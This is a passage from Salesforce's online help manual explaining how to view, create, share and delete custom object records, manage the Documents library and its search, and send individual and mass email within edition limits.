to follow or stop following a custom object in your Chatter feed.

Note: You can view and accept records only from queues you belong to, or if you are higher in the role hierarchy
than a queue member. Administrators, users with the Modify All object-level permission for the given object,
and users with the Modify All Data permission, can view and take records from any queue.

238

Custom Object Records

Displaying and Editing Custom Object Records

To transfer ownership of multiple records at once, select the box next to one or more custom object records and click
Change Owner. Enter the new record owner, optionally select Send Notification Email to send an email to the
new record owner, and click Save.
Click New Custom Object Name or select the custom object name from the Create New drop-down list in the sidebar
to create a new custom object of that type.

Sorting List Views

Click any column heading to sort in ascending or descending order using that columns information.
At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating
custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial
Salesforce integration.

See Also:
Custom Object Record Overview
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Printing List Views

Displaying and Editing Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view custom object records:

Read on the custom object

To change custom object records:

Edit on the custom object

Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user
permissions to use them.
Displaying Custom Object Records
Once you have located a custom object record on the custom objects tab home or list pages, click the custom object
record name to display detailed information. If hover details are enabled, hover over any lookup field on the detail page
to view key information about a record before clicking into that record's detail page.
If the Service Cloud console is set up to include custom objects, select it from the Force.com app menu to find, view,
and edit custom object records and their related items on one screen. See Using a Service Cloud Console on page 3314.

239

Custom Object Records

Displaying and Editing Custom Object Records

Editing Custom Object Records


To update custom object record details, click Edit, and then change the fields you want to update. When you have
finished, click Save. You can also click Save & New to save the current custom object record and create another. Required
fields are marked with red.
Note: You cannot change the Object Name or Data Type if the custom object is referenced in Apex. For
more information, see Apex Code Overview on page 1994.

Custom Object Related Lists


The lower portion of the custom object record detail page provides information related to the custom object record,
including activities, notes, attachments, and any other related records. The related lists you see are determined by your
personal customization, and by any customization your administrator has made to page layouts or your permissions to
view related data. You can click on individual items to display additional detail. Click more at the bottom of the page
or View More below a related list to display more items. Clicking New lets you directly add new items.
Note: Hover over the links at the top of a detail page to display the corresponding related list and its records.
If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and
manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not
enabled, contact your Salesforce administrator.
Printing Custom Object Records
To open a printable display of the record details, in the top-right corner of the page, click Printable View.
To return to the last list page you viewed, click Back to list at the top of any custom object record detail page. If your organization
has enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on
the detail page. See Navigating on page 13 for more information.
Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating
custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial
Salesforce integration.

See Also:
Custom Object Record Fields
Creating Custom Object Records
Deleting Custom Object Records
Searching for Custom Object Records
Tagging Records
Using Custom Related Lists

240

Custom Object Records

Creating Custom Object Records

Creating Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view custom object records:

Read on the custom object

To create custom object records:

Create on the custom object

To create a new custom object record:


1. Click New Custom Object Name.
2. Enter the information for the custom object record.
3. Click Save when you are finished, or click Save & New to save the current record and add another.
If your administrator has defined relationships to other types of records, you can automatically associate the new custom object
with another record. View the other record and select the custom object name from the Create New drop-down list in the
sidebar, or click New Object Name in the custom object related list of the other record.
If your organization uses divisions to segment data, custom objects that are detail objects in a master-detail relationship inherit
their division from the master object. Custom objects that are not related to other records are automatically in the global
division.
Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating
custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial
Salesforce integration.

See Also:
Custom Object Record Fields
Custom Objects Home
Defining Custom Objects

241

Custom Object Records

Cloning Custom Object Records

Cloning Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone custom object records:

Create on the custom object

The Clone button on a custom object record quickly creates a new custom object record with the same information as the
existing record. To clone a custom object record:
1. Click Clone on an existing custom object record.
2. Enter or change any information for the new record.
3. Click Save.
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Custom Object Record Fields

Using Custom Related Lists


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view custom object record related lists:

Read on the custom object


AND
Read on the associated record

To change custom object records:

Edit on the custom object

To create custom object records:

Create on the custom object

To delete custom object records:

Delete on the custom object

Custom related lists display on the lower portion of the detail page for another record. They list the custom object records
that are associated with that record.
From a custom related list, you can:

242

Custom Object Records

Custom Object Record Fields

Click the custom object record name to view detailed information.


Click Edit or Del to edit or delete the custom object record.
Click New to create a new custom object record that is associated with the record you are viewing.

Your administrator defines whether a custom object can be related to another type of record via master-detail or lookup
relationships. The administrator also specifies whether a custom related list displays on the page layout of the associated record.
For more information, see Overview of Relationships on page 1740.
Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating
custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial
Salesforce integration.

See Also:
Custom Object Record Overview
Displaying and Editing Custom Object Records
Creating Custom Object Records
Deleting Custom Object Records

Custom Object Record Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom object record fields contain the data you enter for your custom object records. Here is a description of the fields (in
alphabetical order) that make up a custom object record. Some of these fields may not be visible or editable depending on your
page layout and field-level security settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)
Your administrator may also have defined additional custom fields.
Field

Description

Created By

User who created the record.

Currency

Currency of the record if multicurrency is enabled.

Division

Division to which the custom object record belongs. Custom


objects that are detail objects in a master-detail relationship
inherit their division from the master object. Custom objects
that are not related to other records are automatically in the
global division. Available only in organizations that use
divisions to segment their data.

Last Modified By

User who most recently changed the record.

Name

Identifier for the custom object record. This name appears in


page layouts, related lists, lookup dialogs, search results, and

243

Custom Object Records

Field

Deleting Custom Object Records

Description
key lists on tab home pages. By default, this field is added to
the custom object page layout as a required field.
Assigned owner of the custom object record. If the custom
object becomes the detail side of a master-detail relationship,
this field is removed, as ownership of the data is controlled by
the master object, or by the primary master object for a custom
object with two master-detail relationships.

Owner

Note: Custom objects on the detail side of a


master-detail relationship can't have sharing rules,
manual sharing, or queues, as these require the Owner
field.

Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating
custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial
Salesforce integration.

See Also:
Custom Objects Home
Custom Object Record Overview

Deleting Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete custom object records:

Delete on the custom object

To delete a custom object record, click Del next to the record on the custom objects list page or in the custom related list of
an associated record. You can also delete a custom object record by clicking Delete on the custom object record detail page.
When you delete a custom object record, all related events, tasks, notes, and attachments are also deleted. If the custom object
is the master object in a master-detail relationship, any associated detail records are also deleted. If the custom object is the
detail side of a master-detail relationship, any associated records are not deleted.
The deleted custom object record is moved to the Recycle Bin. If you undelete the record, any related items are also restored.
You can't delete more than 100,000 combined objects and child records at the same time. To delete an object that has more
than 100,000 child records, first delete an appropriate number of its child records.

244

Custom Object Records

Searching for Custom Object Records

Note: You can delete a custom object record if you are an administrator, the record owner, or a user above the record
owner in the organization role hierarchy, and if you have the appropriate user permission. Custom objects that are on
the detail side of a master-detail relationship do not have an Owner field and can be deleted by any user who has access
to edit the associated master record.

See Also:
Recycle Bin
Overview of Relationships
Managing Custom Objects
Deleting Relationship Groups
Removing Members from Relationship Group Members

Searching for Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view custom object records:

Read on the custom object

1. Enter your search terms in the sidebar or header search box.


If you're using the sidebar, click Advanced Search... to find matches in additional fields.
2. Click Search.
3. From the search results, click an item to open it or click Edit, if available.
You can also create a custom object list view to find custom object records that match specific criteria.
Custom object records appear in search results only if they have a custom tab.
Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating
custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial
Salesforce integration.

See Also:
Search Overview

245

Custom Object Records

Sharing Custom Object Records

Sharing Custom Object Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view a custom object record:

Read on the custom object

Your administrator defines the default sharing model for your entire organization. You can change this model to extend sharing
to more users than the default set by your administrator. However, you cannot change the sharing model to make it more
restrictive than the default.
To view and manage sharing details, click Sharing on the custom object record detail page. The Sharing Detail page lists the
users, groups, roles, and territories that have sharing access to the record. On this page, you can do any of the following:

To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click Add to grant access to the record for other users, groups, roles, or territories.
Note: To share a custom object record with another user, that user must have the Read permission on the custom
object.

Click Expand List to view all users that have access to the record.
For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.
Note: If you need information on a specific custom object, please contact your Salesforce administrator about creating
custom help for your custom objects. Salesforce Online Help covers the standard objects provided with the initial
Salesforce integration.

See Also:
Granting Access to Records
Viewing Which Users Have Access

246

Documents

Document Library Overview

DOCUMENTS
Document Library Overview
Available in: All Editions except Database.com

A document library is a place to store files without attaching them to accounts, contacts, opportunities, or other records. Each
document in the document library resides in a folder. The folders attributes determine the accessibility of the folder and the
documents within it.
To learn the different ways files are used in Salesforce, see Differences between Files, Salesforce CRM Content, Salesforce
Knowledge, Documents, and Attachments on page 2441.

Displaying The Documents Tab


If your Documents tab is not visible, you can customize your display to show it. For more information, see Customizing Your
Display on page 42.
Note: The Documents tab is not part of Salesforce CRM Content.

See Also:
Documents Home
File Size Limits in Salesforce
Monitoring Resources
Salesforce CRM Content Overview

Documents Home
Available in: All Editions except Database.com

User Permissions Needed


To view Documents tab:

Read on documents

To view documents:

Read on documents

To upload new documents:

Create on documents

Clicking on the Documents tab displays the documents home page.

247

Documents

Viewing Document Lists

Note: If the Documents tab is not visible, you can customize your display to show it. For more information, see
Customizing Your Display on page 42.

Under Find a Document, enter keywords to search for a document.


In the Document Folders section, select a folder to view all the documents contained in that folder.
The Recent Documents section displays the last ten or twenty-five documents you viewed, with the most recently-viewed
document listed first. This list is derived from your recent items and includes records owned by you and other users. Toggle
the Show 25 items and Show 10 items links to change the number of items that display.
In the Recent Documents section, click New to upload a new document.
Note: The Documents tab is not part of Salesforce CRM Content.

See Also:
Document Library Overview
Viewing Document Lists
Displaying and Editing Document Properties
Uploading and Replacing Documents
Deleting Documents
Changing Document Authors
Searching for Documents
Managing Folders

Viewing Document Lists


Available in: All Editions except Database.com

User Permissions Needed


To view documents:

Read on documents

To change document properties:

Edit on documents

To replace documents:

Edit on documents

To delete documents:

Delete on documents

The documents list page displays a list of documents in a selected folder. From this page, you can view detailed document
information or manipulate the document.

Click the document name to view document property details. For information on the document details, see Displaying
and Editing Document Properties on page 249.
Click Edit next to a document to view document file properties. For more details, see Displaying and Editing Document
Properties on page 249.

248

Documents

Displaying and Editing Document Properties

Click Del to remove the document from the document library. All deleted documents will be moved to the Recycle Bin.
For more information, see Deleting Documents on page 253.
Click View to open the file in its associated application. If a file type is not recognized or the application is not loaded on
your machine, Salesforce displays a standard download dialog prompting you to choose a save option.
Choose a folder to view a list of documents stored in that folder.
Click any column heading to sort the documents in ascending order by the information in that column. Click the same
column heading again to sort documents in descending order.
At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
Click the Next Page or Previous Page links to go to the next or previous set of documents.
At the bottom of the document list, select fewer or more to view a shorter or longer display list.
Click Printable View to display the current list view in a format that is ready for printing.
Note: If you can't find a document, you may not have access to the folder that contains it. For more information about
folders, see Managing Folders on page 1316.

Displaying and Editing Document Properties


Available in: All Editions except Database.com

User Permissions Needed


To view documents:

Read on documents

To update properties:

Edit on documents

To replace documents:

Edit on documents

To move documents:

Edit on documents

To delete documents:

Delete on documents

Displaying Documents - Once you have located a document on the documents home or list pages, click the document name
to display detailed information.
Editing Documents - To update document properties, click Edit, and then change the properties you want updated. When
you have finished, click Save. See Document Properties on page 252 for a description of the document properties.
Deleting Documents - To delete a document, click Delete. See Deleting Documents on page 253 for more information about
deleting documents.
Updating Documents - To replace a document with an updated version, click Replace Document. See Uploading and
Replacing Documents on page 250 for instructions on replacing documents.
Emailing Documents - To email a document to a contact, click Email Document, fill in the details of the email, and click
Send. The document is sent as an attachment to the email and is logged in the Activity History for the contact. Documents
that reference URLs rather than physical files cannot be emailed. For a document that is an image embedded in an HTML
email template, such as a logo in a letterhead, make sure the document is marked as Externally Available on the

249

Documents

Uploading and Replacing Documents

Documents tab so that a user who does not have a Salesforce username and password can view the image when it is received
in an email.
Searching a Document - To search for a document, enter search terms and click Find Document. A list of documents that
match your search terms displays. You can search for terms using the following fields:

Document Name
Keywords
Description

If Document Content Searchable is checked, the content of a document can also be searched.
Viewing Folder Contents - To view all the documents in a folder, click the folder name.
Moving Documents - To store a document in a different folder, click Edit, choose a new folder, and click Save.
To return to the last list page you viewed, click Back to list at the top of any documents detail page. See Navigating on page
13 for more information.

See Also:
Tagging Records
Uploading and Replacing Documents
Searching for Documents

Uploading and Replacing Documents


Available in: All Editions except Database.com

User Permissions Needed


To upload new documents:

Create on documents

To replace documents:

Edit on documents

Uploading a New Document


To upload a document:
1. Click New Document from the Documents tab or click New next to Recent Documents on the documents home page.
If you do not have a New Document option, check if you have the correct permissions.
2. Specify a descriptive Document Name. If you want to use the file name, leave this field blank. The file name will appear
automatically when you upload the file.
3. If you have the Customize Application permission, enter a unique name to be used by the API and managed packages.
4. You can check:

Internal Use Only if the document is confidential. Checking this box does not change the visibility of the file but

prevents it from being publicly accessible.


Externally Available Image if the document is an image, such as a logo, that's not confidential. Check this
box to:

250

Documents

Uploading and Replacing Documents

Make the image available from HTML email templates without requiring a Salesforce username and password
Use the image as a custom tab icon or custom app logo, which do require a Salesforce username and password to
view
Display the image in meeting requests
5.
6.
7.
8.

Select a folder for the document.


Enter a description to use later as search criteria.
Enter keywords that you can use later as search criteria.
Select a document or path option.

To upload a document, click Browse, choose the file, and click Open.
To store a link to the document, enter the location of the document. Enter a path and file name or a URL such as:
C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc, or http://www.salesforce.com.

9. Click Save.

Replacing a Document
To replace a document with an updated version:
1. Display the document you want to replace. For instructions on locating a document in the document library, see Searching
for Documents on page 255.
2. Click Replace Document.
3. Select a document or path option.

To upload a replacement, click Browse, choose the file, and click Open.
To store a link to the replacement, enter the location of the replacement. Enter a path and file name or a URL such
as: C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc, or http://www.salesforce.com.

4. Click Replace Document.

Tips for Uploading or Replacing Documents

Documents stored as links cannot be attached to emails, but they save space in your document library.
If document content search is enabled, Salesforce will also perform a full-text search of the document. When a new
document is uploaded or an old one is replaced, its contents are available for searches. For more information, see Searching
for Documents.
Salesforce stores the most recent upload date as the modified date.
You can upload documents that have file names of up to 255 characters including the extension.
The size limit for any document you upload is 5 MB. The maximum size for a custom-app logo is 20 KB.
Your organizations used file storage includes all files stored in the document library.
If the Disallow HTML documents and attachments security setting is enabled for your organization, you cannot
upload files with the following file extensions: .htm, .html, .htt, .htx, .mhtm, .mhtml, .shtm, .shtml, .acgi.

See Also:
Searching for Documents
File Size Limits in Salesforce
Monitoring Resources

251

Documents

Document Properties

Document Properties
Available in: All Editions except Database.com

Below is a description of the properties in alphabetical order that are stored for each document in the document library.
Field

Description

Author

The main point of contact for a document. Initially, the person


uploading the document is the author. Thereafter, the author
can be any selected user.

Created By

The name of the person who originally uploaded the file.

Modified By

The name of the person who last uploaded the file.

Folder

The name of the folder that contains the document.

Document Content Searchable

A checkbox that indicates if the content within a document


can be searched via the Find Document button on the
Documents tab. This checkbox is automatically set by
Salesforce.

Document Name

The name of the document including its file extension.

Document Unique Name

A unique name used to refer to the document when using the


Force.com API. In managed packages, this name prevents
naming conflicts on package installations. This name can
contain only underscores and alphanumeric characters, and
must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not
contain two consecutive underscores. With this field, a
developer can change certain components' names or titles in
a managed package and the changes are reflected in a
subscriber's organization.

Description

A statement distinguishing this document from others.

Internal Use Only

A checkbox that indicates if the document is confidential. The


Internal Use Only and Externally Available
Image checkboxes are mutually exclusive; you cannot select
both.

Externally Available Image

A checkbox that indicates if the document is an image available


for HTML email templates, such as a logo in a letterhead,
and does not require a Salesforce username and password to
view in an email.
This checkbox indicates if the document is an image used as
a custom app logo or custom tab icon, which require a
Salesforce username and password to view.

252

Documents

Deleting Documents

Field

Description
The Internal Use Only and Externally Available
Image checkboxes are mutually exclusive; you cannot select
both.

Keywords

An open text field containing one or more words that describe


the document. The program checks for matches in this field
when doing a search.

Path

Stored in place of Document Name if you prefer to create a


link to the document instead of uploading it.

Size

The size of the document in bytes.

Type

The file type is determined by the file extension. For example,


filename.ppt is recognized as a PowerPoint file. If the
Disallow HTML documents and attachments security
setting is enabled for your organization, you cannot upload
files with the following file extensions: .htm, .html, .htt,
.htx, .mhtm, .mhtml, .shtm, .shtml, .acgi.

See Also:
Displaying and Editing Document Properties
Viewing Document Lists

Deleting Documents
Available in: All Editions except Database.com

User Permissions Needed


To delete documents:

Delete on documents

To restore documents:

Delete on documents

To delete a document, click Del next to the document on the documents list page. Alternatively, click Delete on the documents
detail page.
When you delete a document, Salesforce stores it in the Recycle Bin. You can restore the document to your document library
within that time by clicking Undelete from the Recycle Bin.
Note:

You can delete any document in your personal folder but you can only delete a document in a public folder if you
have the Manage Public Documents permission.

253

Documents

Changing Document Authors

If you delete a document that's included in a letterhead or HTML email template, any emails using the letterhead
or template display a broken link in its place. You can fix the broken link by removing the document from the
Recycle Bin.
You can't delete a document that's being used as a custom logo in meeting requests. To delete it, you must either
select another document to use as a logo or uncheck the option to display a custom logo in meeting requests.

See Also:
Managing Folders
Recycle Bin

Changing Document Authors


Available in: All Editions except Database.com

User Permissions Needed


To change documents:

Edit on documents

Since documents are stored in folders that control user access, documents do not have owners like other types of records, but
they do have authors. The author represents the user that originally uploaded the document file.
To change the author of a document:
1. View the document you want to modify.
2. Click Change next to the Author field.
The Change link displays only on the detail page, not the edit page. If you do not see the Change link, you may not have
sufficient privileges to change a document author.
3. Enter a new author name. Alternatively, click the lookup icon to choose from a list of users.
4. Check the Send Notification Email box if you would like to alert the new author of this change.
Note: When you change document authorship, Salesforce does not change the documents visibility.

See Also:
Managing Folders

254

Documents

Searching for Documents

Searching for Documents


Available in: All Editions except Database.com

User Permissions Needed


To view documents:

Read on documents

To find specific documents, use the Find Document button on the documents home page.
1. Click the Documents tab.
2. Enter your search terms. Salesforce searches the following fields:

Document Name
Keywords
Description

3. Click Find Document.


The search returns a list of documents that match all your search terms. The search results are listed in order of the closest
matches. The Keywords and Document Name fields are used to determine the closest matches. The fields you see are
predefined and cannot be changed.
Tip: Use quotation marks around a phrase to search for the words in that sequence. For example, a search for my
logos returns documents whose fields or content contains that exact phrase, as well as my and logos. Without
quotation marks, your search returns any document whose fields or content includes any of the words in the search.
For example, my logos returns documents whose fields or content contains my and logos.
4. Select any document to jump directly to the detail page for that document, or click View to open the document in a new
window.
If document content search is enabled, Salesforce will also perform a full-text search of the document. When a new document
is uploaded or an old one is replaced, its contents are available for searches.
To enable document content search:
1. Click Your Name > Setup > Customize > Search > Search Settings.
2. Select Enable Document Content Search.
Note: Salesforce automatically determines if the contents of a document can be searched. If the Document Content
Searchable property is checked on a document, then its contents have been processed successfully and can be
searched. If your document is large, it may take several minutes before Salesforce searches the contents of a document
and marks the Document Content Searchable property.
You can also find documents using global search.
1. Enter your search terms in the header search box.
2. Select Search Options... from the drop-down and select Documents to narrow your search results.
3. Click Search.

255

Documents

Searching for Documents

The following file types are supported for a document content search.
Note: The contents of documents that exceed the maximum sizes are not searched; however, the document fields are
still searched. Only the first 1,000,000 characters of text are searched. Text beyond this limit is not included in the
search.
File Type

File Extensions

HTML (only the text within a <body>


.htm
tag)

Maximum Size
5,120 KB

.html
.xhtml

PDF
PPT

.pdf
.pot

25,600 KB
25,600 KB

.pps
.ppt
.pptx

RTF
Text

.rtf
.c

5,120 KB
5,120 KB

.cpp
.css
.csv
.ini
.java
.log
.sql
.txt

Word

.doc

25,600 KB

.docx
.docm
.dot

XLS

.xls

5,120 KB, or a maximum cell limit of


100,000 cells

.xlsm
.xlsx
.xlt

256

Email

Email Overview

File Type

File Extensions

Maximum Size

XML

.xml

5,120 KB

In some instances documents are not searched. These include:

If a file extension is changed to a different format, it is not searched, even if both extensions are valid. For example, a .txt
file that is renamed to .rtf is not searched.
PDF and Word documents may have security restrictions that prevent them from being searched. To ensure that the
content is searchable, the content extraction property on your file must be set to Enabled when creating your document.

See Also:
Search Overview
Uploading and Replacing Documents
Search Fields
Refining Search Using Wildcards
Refining Search Using Operators

EMAIL
Email Overview
Available in: All Editions except Database.com
Mass email not available in: Personal, Contact Manager, and Group Editions

You can email contacts, leads, person accounts, and users in your organization directly from account, contact, lead, opportunity,
case, campaign, or custom object pages. There is no limit on the number of these emails sent individually.
With mass email in Professional, Enterprise, Unlimited, and Developer Edition organizations, you can email a list of contacts,
leads, or person accounts for small-scale sales or support. Mass email is intended to facilitate your business processes, not
replace your existing email application or handle mass-marketing campaigns.
Using the API, you can send single emails to a maximum of 1,000 external email addresses per day based on Greenwich Mean
Time (GMT). Single emails sent using the application don't count towards this limit.
You can send mass email to a total of 1,000 external email addresses per day per organization based on Greenwich Mean Time
(GMT). The maximum number of external addresses you can include in each mass email depends on the Edition of Salesforce
you are using:
Edition

Address Limit per Mass Email

Professional

250

257

Email

Sending Email

Edition

Address Limit per Mass Email

Enterprise Edition

500

Unlimited Edition

1,000

Note: Note the following about email limits:

The single and mass email limits don't take unique addresses into account. For example, if you have
johndoe@example.com in your email 10 times, that counts as 10 against the limit.
You can send an unlimited amount of email to your internal users. These limits also apply to emails sent using the
API and Apex.
In Developer Edition organizations and organizations evaluating Salesforce during a trial period, your organization
can send mass email to no more than 10 external email addresses per day. This lower limit does not apply if your
organization was created before the Winter '12 release and already had mass email enabled with a higher limit.

When you send an email, you can choose a predefined template for the message. To personalize your message, the template
can include merge fields that are replaced with information from the Salesforce record when the email is sent. For instance,
your organization may want to use a standard template to communicate solution information to customers with cases. Your
administrator maintains organization-wide templates, and you can maintain your own personal templates.

See Also:
Sending Email
Sending Mass Email
Editing Email Settings
Email Fields
Managing Email Templates
Force.com Connect for Microsoft Outlook Overview
What is a Person Account?
Testing Deliverability

Sending Email
Available in: All Editions except Database.com

User Permissions Needed


To send emails:

Send Email

To create an organization-wide address:

Modify all Data

To send email to a contact, lead, person account, or other user:


1. Click Send An Email on the Activity History related list of a record. Or, from a case, click Send An Email or Reply from
the Email related list. This option is available only to organizations using Email-to-Case or On-Demand Email-to-Case.

258

Email

Sending Email

2. Optionally, specify the sending address of the email from the From drop-down list for emails associated with Email-to-Case
or On-Demand Email-to-Case; or if the email name or email address in your email settings is different from the email
name or email address on your user record.
When creating a new outbound Email-to-Case or On-Demand Email-to-Case message, the From address is auto-populated
with your name. When replying to an inbound message, the From address is auto-populated with the routing address to
which the email was sent.
If you previously defined any organization-wide addresses, the email addresses associated with your user profile also appear
in this drop-down list. Organization-wide addresses are not available for Mass Email, or Stay-in-Touch requests.
3. If you want to remove any HTML formatting and send a text email, click Switch to Text-Only. Click Switch to HTML
to use HTML formatting or to track the email.
4. Enter a contact, lead, or person account in the To: field. Only one name can be entered in the To: field. For contacts and
leads that have multiple email fields, you can select an email address.
5. Optionally, choose another record, such as an account, case, or custom object, to associate with the email.
6. Optionally, if you want other people to receive the email as primary recipients, enter email addresses in the Additional
To: field, or click the Additional To: link to select individuals from a list. These people do not need to be Salesforce
records. Email addresses can be separated by semicolons, commas, spaces, or new lines.
7. In the CC: and BCC: fields, enter any additional email addresses, or click the CC or BCC link to select individuals from
a list. Email addresses can be separated by semicolons, commas, spaces, or new lines.
If your organization has enabled compliance BCC emails, the BCC: field is not available and your Automatic Bcc setting
under My Email Settings is disabled.
8. Enter a subject and body for the email, or click Select Template to choose a predefined email template. Choose a folder
and select a template from the folder. If necessary, you can modify the content of the template in your email; however, you
cannot modify Custom templates.
Caution: If you modify the template contents, your changes affect only the HTML version of the email template.
The changes are not reflected in the text-only version of the email sent to recipients.
When replying to an Email-to-Case or On-Demand Email-to-Case email, the original email is included in the email
body. All or parts of this email can be deleted.
9. If you chose an HTML email template, use the format toolbar to format your text. For more information, see Using the
Format Toolbar. Available in Professional, Enterprise, Unlimited, and Developer Editions only.
10. Optionally, select Attach File to add a file. You can attach multiple files as long as the total size of all attached files does
not exceed 10 MB.
11. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the body of the email. Spell Checker
does not support all the languages that Salesforce supports. For example, Spell Checker doesnt support Thai, Russian,
and double-byte languages, such as Japanese, Korean, or Chinese.
If you are using an email template, the Check Spelling button is available for text templates and Visualforce templates
without HTML tags.
12. Click Send.
If the recipient does not have an email address, Salesforce prompts you to edit the persons email address and click:

Save Address to add the email address to the record without sending the email.

259

Email

Guidelines on Sending Email

Save Address and Send to add the email address to the record and send the email.

See Also:
Guidelines on Sending Email
Email Fields
Sending Mass Email
Tracking HTML Email
Working with Case Emails
What is a Person Account?
Testing Deliverability

Guidelines on Sending Email


Available in: All Editions except Database.com

Note the following when sending email.

Tips

If bounce management is activated and the email bounces, Salesforce displays an error message. Click the link in the error
message to update the email address and optionally send the email to the updated address.
You can send emails related to any record, as long as you have access to view or edit the record.

Notes

An attachment is sent as a link if its total size is 3 MB or more or if it is sent using mass email. When recipients click the
attachment link in the email, the attachment opens in a separate Web browser, and they can download the file. Attachments
sent as links are stored for 30 days.
Attachments aren't stored on emails sent from Salesforce. To be saved with the email, attachments must be either associated
with the email later or sent to Salesforce using using Email-to-Case, Email-to-Salesforce, On-Demand Email-to-Case,
or Salesforce for Outlook.
Emails sent via the Send an Email button are listed in the Activity History list of the related records. The Activity History
item is titled Email: Subject. You can click the email subject to view the body of the email.
Emails sent from the Email related list of a case are saved in the Email related list. This functionality is only available for
organizations with Email-to-Case or On-Demand Email-to-Case enabled.
If your page layout or field-level security settings prevent you from viewing a field, that field won't be available for email
templates. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)

See Also:
Sending Email
Sending Mass Email

260

Email

Mass Email Status Messages

Mass Email Status Messages


Available in: Professional, Enterprise, and Unlimited Editions

If you're configured to receive email notifications for mass emails, you'll see an auto-generated status email from Salesforce
for each mass email you send. The subject line of the status email contains the value you entered in the Mass Email Name
field when sending the mass email.
The status message shows the number of recipients that the mass email was both addressed and sent to. These numbers may
differ because:

The mass email would cause your organization to exceed its daily mass email limit. Salesforce does not send the message
to any of the intended recipients in this case.
One or more selected recipients opted out of receiving mass email after the mass email was scheduled but before it was
processed.
One or more selected recipient email addresses were removed from the contact or lead after the mass email was scheduled
but before it was processed.
The user who sent the mass email was deactivated after the mass email was scheduled but before it was processed. Salesforce
does not send mass emails scheduled by a user who is deactivated.

To turn on the notification option, click Your Name > Setup > Email Administration > Deliverability, and select Notify
sender when mass email completes.

See Also:
Guidelines on Sending Mass Email
Configuring Deliverability Settings

261

Email

Sending Mass Email

Sending Mass Email


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To send mass emails to contacts, person accounts, or leads:

"Mass Email"

To send mass emails to users:

"Mass Email"
AND
"Manage Users"

To send mass emails and log them in the Activity History


related list:

"Mass Email"
AND
"Edit Tasks"

Watch a Demo on Sending Mass Email (4:31 minutes)


You can send a mass email message to a recipient list that consists of contacts, leads, person accounts, or users you can view
in Salesforce.
1. Choose the type of recipients for your mass email:

To send mass email to contacts or person accounts, click Mass Email Contacts in the Tools section at the bottom of
the Contacts or Cases tabs. If your organization uses person accounts, the link is also in the Tools section at the bottom
of the Accounts tab.
To send mass email to leads, click Mass Email Leads in the Tools section at the bottom of the Leads tab.
To send mass email to users, click Your Name > Setup > Manage Users > Mass Email Users. This link is available
to administrators and users with the Manage Users permission.

2. Select a list view of recipients and click Go!. By default, the My Contacts, My Leads, Active Users, or My Cases views
include all records of that type with an email address. To change the list of recipients, create a new custom view. See
Creating Custom List Views on page 272.
Contacts, leads, or person accounts that have the Email Opt Out field selected or do not have an email address are not
included in any email list views. Person accounts are included in contact list views.
3. All recipients in the list view are selected by default. Remove recipients who shouldn't receive the mass email by deselecting
them or using the top checkbox in the list view to select or deselect all of the recipients listed on the page.
4. Click Next.
5. Choose an email template.
Note: You cant send a mass email using a Visualforce email template.

262

Email

Sending Mass Email

6. Optionally, click the Preview links to view the templates. In the email template preview window, the template displays
with any merge fields included, such as {!Account.AccountNumber}. When you send your email, data from the
recipients' records, or any applicable substitute text, is inserted into the email in place of those merge fields.
7. Click Next.
8. On the confirmation page, select from the available Processing Options:

BCC me on one message


Store an activity for each message

The Activity History item is associated with the contact, lead, or person account and displays as Mass Email:<Template
Description>. The email subject, body, and attachments are not stored in the Activity History item. To log Activity
History items, you must have access to view or edit the records in the recipient list and have the Edit Task permission.

Use my signature

Optionally, include your email signature in this mass email. This option applies to text emails only.

Mass Email Name

Enter a name you can use to identify this mass email in the mass email queue. See Monitoring the Mass Email Queue
on page 919 for more information.
Note: The mass email name only appears in the mass email queue and status messages you receive from
Salesforce. Salesforce doesn't add the mass email name to the mass email you're sending.

9. In the Delivery Options section, do one of the following.

Select Send now.


Select Schedule for delivery on and click in the date field to specify when Salesforce will send the mass email. Use the
adjacent drop-down menu to specify the time zone.
Note: Users can click Your Name > Setup > Email > My Mass Emails to view and cancel mass emails they
scheduled. Administrators can click Your Name > Setup > Monitoring > Mass Email to view and cancel mass
emails scheduled by all users in their organization. See Monitoring the Mass Email Queue on page 919 for more
information.

10. Click Send to submit the mass email.


